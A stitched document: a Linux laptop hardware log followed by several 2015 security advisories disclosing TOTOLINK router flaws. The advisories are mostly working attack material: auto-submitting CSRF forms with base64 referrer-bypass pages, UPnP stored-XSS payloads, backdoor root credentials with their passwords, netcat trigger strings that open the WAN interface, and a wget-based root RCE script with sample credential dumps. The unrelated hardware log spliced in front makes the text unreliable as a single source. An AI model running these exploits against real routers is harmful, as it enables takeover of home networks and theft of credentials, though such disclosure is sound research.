usb 1-5: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-5: Product: USB 10/100 LAN
usb 1-5: Manufacturer: Realtek
usb 1-5: SerialNumber: 00E040123456
usbcore: registered new interface driver r8152
usbcore: registered new interface driver cdc_ether
usb 1-5: reset high-speed USB device number 5 using xhci_hcd
xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called with disabled ep ffff8802447d4600
xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called with disabled ep ffff8802447d4648
xhci_hcd 0000:00:14.0: xHCI xhci_drop_endpoint called with disabled ep ffff8802447d4690
r8152 1-5:1.0 eth0: v1.06.0 (2014/03/03)
IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
$ /sbin/ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:e0:40:12:34:56
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
webcam works by default (as /dev/video0 with V4L)
usb 1-7: new high-speed USB device number 6 using xhci_hcd
usb 1-7: New USB device found, idVendor=2232, idProduct=5005
usb 1-7: New USB device strings: Mfr=3, Product=1, SerialNumber=2
usb 1-7: Product: LG HD WebCam
usb 1-7: Manufacturer: Generic
usb 1-7: SerialNumber: 200900000000
uvcvideo: Found UVC 1.00 device LG HD WebCam (2232:5005)
input: LG HD WebCam as /devices/pci0000:00/0000:00:14.0/usb1/1-7/1-7:1.0/input/input27
00:00.0 Host bridge: Intel Corporation Broadwell-U Host Bridge -OPI (rev 09)
00:02.0 VGA compatible controller: Intel Corporation Broadwell-U Integrated Graphics (rev 09)
00:03.0 Audio device: Intel Corporation Broadwell-U Audio Controller (rev 09)
00:04.0 Signal processing controller: Intel Corporation Broadwell-U Camarillo Device (rev 09)
00:14.0 USB controller: Intel Corporation Wildcat Point-LP USB xHCI Controller (rev 03)
00:16.0 Communication controller: Intel Corporation Wildcat Point-LP MEI Controller #1 (rev 03)
00:1b.0 Audio device: Intel Corporation Wildcat Point-LP High Definition Audio Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation Wildcat Point-LP PCI Express Root Port #1 (rev e3)
00:1d.0 USB controller: Intel Corporation Wildcat Point-LP USB EHCI Controller (rev 03)
00:1f.0 ISA bridge: Intel Corporation Wildcat Point-LP LPC Controller (rev 03)
00:1f.2 SATA controller: Intel Corporation Wildcat Point-LP SATA Controller [AHCI Mode] (rev 03)
00:1f.3 SMBus: Intel Corporation Wildcat Point-LP SMBus Controller (rev 03)
01:00.0 Network controller: Intel Corporation Wireless 7260 (rev bb)
Everything works. The laptop is very light and has great performances. Note that this laptop can be ordered without Windows, and Windows can be recovered in the "Windows-Free" SSD.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: 4 TOTOLINK router models vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x01.txt
Blog URL: http://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE
## Product Description
TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.
## Vulnerability Summary
TOTOLINK iPuppy, iPuppy3, N100RE and N200RE are wireless LAN routers. Their current firmwares with default configuration are
vulnerable to CSRF-attacks and XSS attacks.
Since, the anti-CSRF protection is based on a static HTTP referrer (RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of the router. Owners are urged to
contact TOTOLINK, and activate authentication on this product (disabled by default).
It affects (firmwares come from totolink.net and from totolink.cn):
- TOTOLINK iPuppy : firmware 1.2.1 (TOTOLINK iPuppy__V1.2.1.update)
- TOTOLINK iPuppy3 : firmware 1.0.2 (TOTOLINK iPuppy3_V1.0.2.update)
- TOTOLINK N100RE-V1 : firmware V1.1-B20140723-2-432-EN (TOTOLINK-N100RE-IP04216-RT5350-SPI-1M8M-V1.1-B20140723-2-432-EN.update)
- TOTOLINK N200RE : firmware V1.4-B20140724-2-457-EN (TOTOLINK-N200RE-IP04220-MT7620-SPI-1M8M-V1.4-B20140724-2-457-EN.update)
## Details - CSRF
The HTTP interface allows to edit the configuration. This interface is vulnerable to CSRF.
Configuration and settings can be modified with CSRF attacks:
- Activate the remote control management
- Change the DNS configuration
- Update the firmware
- Change the Wifi Configuration
- Create TCP redirections to the LAN
- and more...
Example of forms exploiting the CSRF:
o Activating the remote control management on port 31337/tcp listening on the WAN interface.
<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm">
<input type="hidden" name="CMD" value="SYS">
<input type="hidden" name="GO" value="firewallconf_accesslist.html">
<input type="hidden" name="nowait" value="1">
<input type="hidden" name="SET0" value="17367296=31337">
<input type="hidden" name="SET1" value="17236224=1">
</form>
</body>
</html>
o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:
<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.1.1/do_cmd.htm">
<input type="hidden" name="CMD" value="WAN">
<input type="hidden" name="GO" value="netconf_wansetup.html">
<input type="hidden" name="SET0" value="50397440=2">
<input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA">
<input type="hidden" name="SET2" value="235077888=1">
<input type="hidden" name="SET3" value="235012865=0.2.0.7">
<input type="hidden" name="SET4" value="235012866=1.2.0.1">
<input type="hidden" name="SET5" value="51118336=0">
<input type="hidden" name="SET6" value="51839232=1">
<input type="hidden" name="SET7" value="51511552=1500">
<input type="hidden" name="SET8" value="117834240=">
<input type="hidden" name="SET9" value="117703168=">
<input type="hidden" name="SET10" value="117637376=1492">
<input type="hidden" name="SET11" value="51446016=1500">
<input type="hidden" name="SET12" value="50463488=192.168.1.1">
<input type="hidden" name="SET13" value="50529024=255.255.255.0">
<input type="hidden" name="SET14" value="50594560=192.168.1.254">
</form>
</body>
</html>
The variable GO is an open redirect. Any URL like http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.
To bypass the protection (which checks the refer), you can, for example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:
o activate_admin_wan_csrf_bypass.html:
<html>
<head>
<meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iU1lTIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJmaXJld2FsbGNvbmZfYWNjZXNzbGlzdC5odG1sIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm93YWl0IiB2YWx1ZT0iMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDAiIHZhbHVlPSIxNzM2NzI5Nj0zMTMzNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSIxNzIzNjIyND0xIj4KPC9mb3JtPgo8L2JvZHk+CjwvaHRtbD4K">
</head>
<body>
</body>
</html>
Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.
You can test it through http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-change_dns_csrf_bypass.html
o change_dns_csrf_bypass.html:
<html>
<head>
<meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iV0FOIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJuZXRjb25mX3dhbnNldHVwLmh0bWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQwIiB2YWx1ZT0iNTAzOTc0NDA9MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSI1MDg1Njk2MD02NC1FNS05OS1BQS1BQS1BQSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDIiIHZhbHVlPSIyMzUwNzc4ODg9MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDMiIHZhbHVlPSIyMzUwMTI4NjU9MC4yLjAuNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDQiIHZhbHVlPSIyMzUwMTI4NjY9MS4yLjAuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDUiIHZhbHVlPSI1MTExODMzNj0wIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUNiIgdmFsdWU9IjUxODM5MjMyPTEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQ3IiB2YWx1ZT0iNTE1MTE1NTI9MTUwMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDgiIHZhbHVlPSIxMTc4MzQyNDA9Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUOSIgdmFsdWU9IjExNzcwMzE2OD0iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQxMCIgdmFsdWU9IjExNzYzNzM3Nj0xNDkyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTEiIHZhbHVlPSI1MTQ0NjAxNj0xNTAwIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTIiIHZhbHVlPSI1MDQ2MzQ4OD0xOTIuMTY4LjEuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEzIiB2YWx1ZT0iNTA1MjkwMjQ9MjU1LjI1NS4yNTUuMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDE0IiB2YWx1ZT0iNTA1OTQ1NjA9MTkyLjE2OC4xLjI1NCI+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg==">
</head>
<body>
</body>
</html>
Visiting activate_admin_wan_csrf_bypass.html in a remote location will change the DNS servers
provided by the TOTOLINK device in the LAN.
You can test it through http://pierrekim.github.io/advisories/2015-totolink-0x01-PoC-activate_admin_wan_csrf_bypass.html
## Details - stored XSS and fun
There is a stored XSS, which can be injected using UPNP from the LAN, without authentication:
upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping
Required argument:
Argument Name: NewPortMappingDescription
Data Type: string
Allowed Values: []
Set NewPortMappingDescription value to: <script>alert("XSS");</script>
Required argument:
Argument Name: NewLeaseDuration
Data Type: ui4
Allowed Values: []
Set NewLeaseDuration value to: 0
Required argument:
Argument Name: NewInternalClient
Data Type: string
Allowed Values: []
Set NewInternalClient value to: <script>alert("XSS");</script>
Required argument:
Argument Name: NewEnabled
Data Type: boolean
Allowed Values: []
Set NewEnabled value to: 1
Required argument:
Argument Name: NewExternalPort
Data Type: ui2
Allowed Values: []
Set NewExternalPort value to: 80
Required argument:
Argument Name: NewRemoteHost
Data Type: string
Allowed Values: []
Set NewRemoteHost value to: <script>alert("XSS");</script>
Required argument:
Argument Name: NewProtocol
Data Type: string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP
Required argument:
Argument Name: NewInternalPort
Data Type: ui2
Allowed Values: []
Set NewInternalPort value to: 80
upnp>
The UPNP webpage in the administration area (http://192.168.0.1/popup_upnp_portmap.html) will show:
[...]
<tr>
<td class=item_td>TCP</td>
<td class=item_td>21331</td>
<td class=item_td><script>alert("XSS")<script>alert("XSS");</script>:28777</td>
<td class=item_td><script>alert("XSS");</script></td>
</tr>
[...]
- - - - From my research, there are some bits overflapping with others, resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process seems to be easily done.
Gaining Remote Code Execution by UPNP exploitation is again left as a exercise for the reader.
## Vendor Response
Due to "un-ethical code" found in TOTOLINK products (= backdoors found in new TOTOLINK devices), TOTOLINK was not contacted in regard of this case.
## Report Timeline
* Apr 20, 2015: Vulnerabilities found by Pierre Kim in ipTIME devices.
* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jun 25, 2015: Vulnerabilities found in TOTOLINK products by looking for similar ipTIME products.
* Jul 16, 2015: A public advisory is sent to security mailing lists.
## Credit
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
## Greetings
Big thanks to Alexandre Torres.
## References
https://pierrekim.github.io/advisories/2015-totolink-0x01.txt
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVq/PbAAoJEMQ+Dtp9ky28JPQQAIaJJ3qgA0YZQ7AG39aUav3t
z53mLvi5Cej3FfLVFxWeejbdkLWRLQCr+jwLH/oNyc4V4N/aDE7X8LNWDsN5LRQv
wN21zY83sGkcG8FB3cSSubMjWZ2ZjeH7MSwSryXjfIO/RAFfRFFPV/1abdkqQWIn
WvLHkDMI/8fHJc5mNJeAqqtsK9+t0kz6OdABmvAA5dNGd1ZddEaG/HW8xnebcAlh
ByuLynQ5rgUGr+eTmB+DZinMk1e/P6ZiEs0urmIshUYeX3gx808Q68tF7jKcJNtr
lC5NVJ6h8cQ3pjMOMs/5RQLcC6aCRidX3AoaO/kyibMTz+F6VwJD2WQwxb78M0B3
FjjrHb+v1MdLhantwhZ1mfznm7rJ1/5TCq0hVjQ6sXc5/KbkZRQWq8IC65I6kFRm
aRp2U17C5OLJ4KQ2vYb/0yy4KaIL1C7gCB2oWZ8CyyG53wn79CxcPQ5uO2Jnf6XM
UP597Bq1JDlDsTGpMjf0kBZ8v2vcjc3gN8EZg7T2w4aNuxMjm+Y8gbu51s8yDSdC
G0xg6mqZa2ZIt2FbWmMgo/+t04aBaUGB4y5tIeILWH2FFrHlpyvtuU5IMys/DiO+
7Nr8g4RTEskP8x2/TAh05YJYcY8Bai5RTAQaTwT3cUNdp3B8UiLxtVwfTzmI4//F
bjG1WlLuMMpz1dwPfEB6
=c3Q7
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: Backdoor credentials found in 4 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x03.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE
## Product Description
TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.
## Vulnerabilities Summary
Backdoor credentials are present in several TOTOLINK products.
It affects 4 TOTOLINK products (firmwares come from totolink.net and from totolink.cn):
- G150R-V1 : last firmware 1.0.0-B20150330 (TOTOLINK-G150R-V1.0.0-B20150330.1734.web)
- G300R-V1 : last firmware 1.0.0-B20150330 (TOTOLINK-G300R-V1.0.0-B20150330.1816.web)
- N150RH-V1 : last firmware 1.0.0-B20131219 (TOTOLINK-N150RH-V1.0.0-B20131219.1014.web)
- N301RT-V1 : last firmware 1.0.0 (TOTOLINK N301RT_V1.0.0.web)
It allows an attacker in the LAN to connect to the device using telnet with 2 different accounts: root and 'onlime_r' which gives with root privileges.
## Details - G150R-V1 and G300R-V1
The init.d script executes these commands when the router starts:
[...]
cp /etc/passwd_orig /var/passwd
cp /etc/group_orig /var/group
telnetd&
[...]
The /etc/passwd_orig contains backdoor credentials:
root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null
The corresponding passwords are:
root:12345
onlime_r:12345
## Details - N150RH-V1 and N301RT
The init.d script executes these commands when the router starts:
[...]
#start telnetd
telnetd&
[...]
The binary /bin/sysconf executes these commands when the router starts:
system("cp /etc/passwd.org /var/passwd 2> /dev/null")
The /etc/passwd.org contains backdoor credentials:
root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null
The corresponding passwords are:
root:12345
onlime_r:12345
## Vendor Response
TOTOLINK was not contacted in regard of this case.
## Report Timeline
* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: working PoCs.
* Jul 16, 2015: A public advisory is sent to security mailing lists.
## Credit
These backdoor credentials were found Pierre Kim (@PierreKimSec).
## References
https://pierrekim.github.io/advisories/2015-totolink-0x03.txt
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVq/MNAAoJEMQ+Dtp9ky28FroP/jM/FCTlC93R5bdmPzn7l0kR
247lhuqqMO689jGkz3kiTqUIEidKoAluH6xqs2xhqVMYie9CfrWsRwrbuF+5RSkZ
jmzvGVH2teGBuJ70+hVY81FvEsleG5eCdz4nZXKPcyLMfSw0HxxBp4ooCDQsSj2f
WAgKfQmKY123TLAwE+R51z2ZXPlxMIyRyjy33utQk5wtDCK0gqOtsFqA7CLtJgth
EBi2YjrxNDM8FYJx4f7A8RBAOp34rHQx/xn2yvylwUkwZ8P0LcC9EmMPZUo0q3xu
dIfPV1HJWlYyPVxqXg9ATWvODBbAyOWpf0/CwBsRmZVRbJL7/9tCzDYRwrm9PFgJ
Od47n+82UfvD1aiAQxdm983Rf5i2t2ssW/e2fr9jOiWqIQChc/eRmUpso8Okluzo
ZUVxhJGBigAsd+Z0FRCeBUki8LUKCAtbfe7Vkn/v5AlOamyc/VNOQNZpbbqa1SUv
64DaPOhzXQ6WBGkzwxWOHy+qfQT+7/dfGZ7i6n7TwV4tIJm6yLioPBp7F1WceWh6
KySutfVi0wpIf8mcbigsdaHmPqGSNxKnbitr8GETdV+WME5REvn9d8DhSJ7Cy+Eh
PNPDAdSZES8WPl0f5QCNgNUxrCsFM7DLW6P15HFI/NqFzLAdifqT6IKeQtXTdYwH
g9PPILKUXFZssc0SceTB
=pLPu
-----END PGP SIGNATURE-----
TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea. TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.
A backdoor is present in several TOTOLINK products. This was confirmed by analyzing the latest firmwares and by testing the backdoor against live routers.
At least 8 TOTOLINK products are affected (firmwares come from totolink.net and from totolink.cn):
By sending a crafted request to the WAN IP, an attacker will open the HTTP remote management interface on the Internet. Then an attacker can use a Remote Code Execution in the HTTP remote management interface by using the hidden /boafrm/formSysCmd form, bypassing the authentication system.
We estimate there are =~ 50 000 routers affected by this backdoor.
The /etc/init.d/rcS script executes the /bin/skt binary when the router starts:
cat etc/init.d/rcS
[...]
# start web server
boa
skt&
skt is a small MIPS binary which is a client/server program. The arguments are:
server: ./skt
client: ./skt host cmd
The binary can be used in x86_64 machines using QEMU: sudo chroot . ./qemu-mips-static ./bin/skt
Using skt without argument will launch a TCP daemon on port 5555 in every interface (including WAN), acting as an ECHO server. Using skt with arguments will send a TCP packet containing the command to the specified IP on port 5555.
There are 2 main functions in skt
:
TcpClient:
It will send a TCP packet containing hel,xasf, oki,xasf or bye,xasf, depending the arguments used (1,2,3), to a remote IP on port 5555.
TcpServer:
TcpServer is an echo server listening on port 5555/tcp and it compares strings provided by the user with hardcoded strings ("hel,xasf", "oki,xasf").
The problem is in the sub_400B50 function:
Pseudo-code of sub_400B50:
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) {
if (strcmp(str, "hel,xasf") == 0) {
system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");
} else {
if (strcmp(str, "oki,xasf") == 0) {
system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");
}
}
[...]
}
This function compares str, which is an user-given string, with 2 hardcoded strings to execute system().
The analysis of the binary running on the TOTOLINK devices shows the server mode responds to 3 commands by silently executing system() in the background:
By sending "hel,xasf" to the device, the device will execute:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
This will open the HTTP remote management interface on port 80 in the eth1 interface which is the WAN interface by default.
By sending "oki,xasf" to the device, the device will execute:
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
This will close the HTTP remote management interface.
By sending "bye,xasf" (hardcoded string in the binary) to the device, the device will do nothing
The iptables commands in the backdoor are hardcoded with "eth1". Only devices using DHCP and static IP connections are affected because the WAN IP is attached on the eth1 device.
It does not affect devices using PPPoE connections, because the WAN IP is attached on the ppp device, as seen below:
totolink# ifconfig
ppp0 Link encap:Point-to-Point Protocol
inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1
RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0
TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:64
RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
An attacker can use these simple netcat commands to test the backdoor:
To open the HTTP remote management interface on the Internet:
echo -ne "hel,xasf" | nc <ip> 5555
To close the HTTP remote management interface on the Internet:
echo -ne "oki,xasf" | nc <ip> 5555
To detect a vulnerable router:
echo -ne "GET / HTTP/1.1" | nc <ip> 5555
if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
HTTP remote management interface open with the backdoor:
A hidden form in the latest firmware allows an attacker to execute commands as root by sending a HTTP request:
POST /boafrm/formSysCmd HTTP/1.1
sysCmd=<cmd>&apply=Apply&msg=
An attacker can use wget to execute commands in the remote device:
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
For instance, sending this HTTP request to the management interface will reboot the device:
POST /boafrm/formSysCmd HTTP/1.1
sysCmd=reboot&apply=Apply&msg=
This wget command will do the same job:
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd
TOTOLINK was not contacted in regard of this case.
These vulnerabilities were found by Alexandre Torres and Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/2015-totolink-0x02.txt https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: 15 TOTOLINK router models vulnerable to multiple RCEs
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE
## Product Description
TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea.
TOTOLINK produces routers, wifi access points and network devices. Their products are sold worldwide.
## Vulnerabilities Summary
The first vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single HTTP request.
The second vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request.
There are direct RCEs against the routers which give a complete root access to the embedded Linux from the LAN side.
The two RCEs affect 13 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration:
- - TOTOLINK A1004 : until last firmware (9.34 - za1004_en_9_34.bin)
- - TOTOLINK A5004NS : until last firmware (9.38 - za5004s_en_9_38.bin)
- - TOTOLINK EX300 : until last firmware (8.68 - TOTOLINK EX300_8_68.bin - totolink.net)
- - TOTOLINK EX300 : until last firmware (9.36 - ex300_ch_9_36.bin.5357c0 - totolink.cn)
- - TOTOLINK N150RB : until last firmware (9.08 - zn150rb_en_9_08.bin.5357c0)
- - TOTOLINK N300RB : until last firmware (9.26 - zn300rb_en_9_26.bin)
- - TOTOLINK N300RG : until last firmware (8.70 - TOTOLINK N300RG_8_70.bin)
- - TOTOLINK N500RDG : until last firmware (8.42 - TOTOLINK N500RDG_en_8_42.bin)
- - TOTOLINK N600RD : until last firmware (8.64 - TOTOLINK N600RD_en_8_64.bin)
- - TOTOLINK N302R Plus V1 : until the last firmware 8.82 (TOTOLINK N302R Plus V1_en_8_82.bin)
- - TOTOLINK N302R Plus V2 : until the last firmware 9.08 (TOTOLINK N302R Plus V2_en_9_08.bin)
- - TOTOLINK A3004NS (no firmware available in totolinkusa.com but ipTIME's A3004NS model was vulnerable to the 2 RCEs)
- - TOTOLINK EX150 : until the last firmware (8.82 - ex150_ch_8_82.bin.5357c0)
The DHCP RCE also affects 2 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration:
- - TOTOLINK A2004NS : until last firmware (9.60 - za2004s_en_9_60.bin)
- - TOTOLINK EX750 : until last firmware (9.60 - ex750_en_9_60.bin)
Firmwares come from totolink.net and from totolink.cn.
- - From my tests, it is possible to use these vulnerabilities to overwrite the firmware with a custom (backdoored) firmware.
Concerning the high CVSS score (10/10) of the vulnerabilities and the longevity of this vulnerability (6+ year old),
the TOTOLINK users are urged to contact TOTOLINK.
## Details - RCE with a single HTTP request
The HTTP server allows the attacker to execute some CGI files.
Many of them are vulnerable to a command inclusion which allows to execute commands with the http daemon user rights (root).
Exploit code:
$ cat totolink.carnage
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
The exploits have been written in HTML/JavaScript, in form of CSRF
attacks, allowing people to test their systems in live using their
browsers:
http://pierrekim.github.io/advisories/
o Listing of the filesystem
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-listing.of.the.filesystem.html
Using CLI:
root@kali:~/totolink# ./totolink.carnage 192.168.1.1 ls | head
ash
auth
busybox
cat
chmod
cp
d.cgi
date
echo
false
root@kali:~/totolink#
o How to retrieve the credentials ? (see login and password at the end of the text file)
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-dump.configuration.including.credentials.html
Using CLI:
kali# ./totolink.carnage 192.168.1.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt22,1,480,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=0
lan_ip=192.168.1.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.1.2,192.168.1.253,192.168.1.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
use_local_gateway=1
login=admin
password=admin
Login and password are stored in plaintext, which is a very bad security practice.
o Current running process:
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-current.process.html
Using CLI:
kali# ./totolink.carnage 192.168.1.1 ps -auxww
o Getting the kernel memory:
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-getting.kernel.memory.html
Using CLI:
kali# ./totolink.carnage 192.168.1.1 cat /proc/kcore
o Default firewall rules:
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-default.firewall.rules.html
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.1.1 iptables -nL
o Opening the management interface on the WAN:
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-opening.the.firewall.html
o Reboot the device:
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-reboot.html
o Brick the device:
HTML/JS exploits:
http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-bricking.the.device.html
An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root.
By the way, d.cgi in /bin/ is an intentional backdoor.
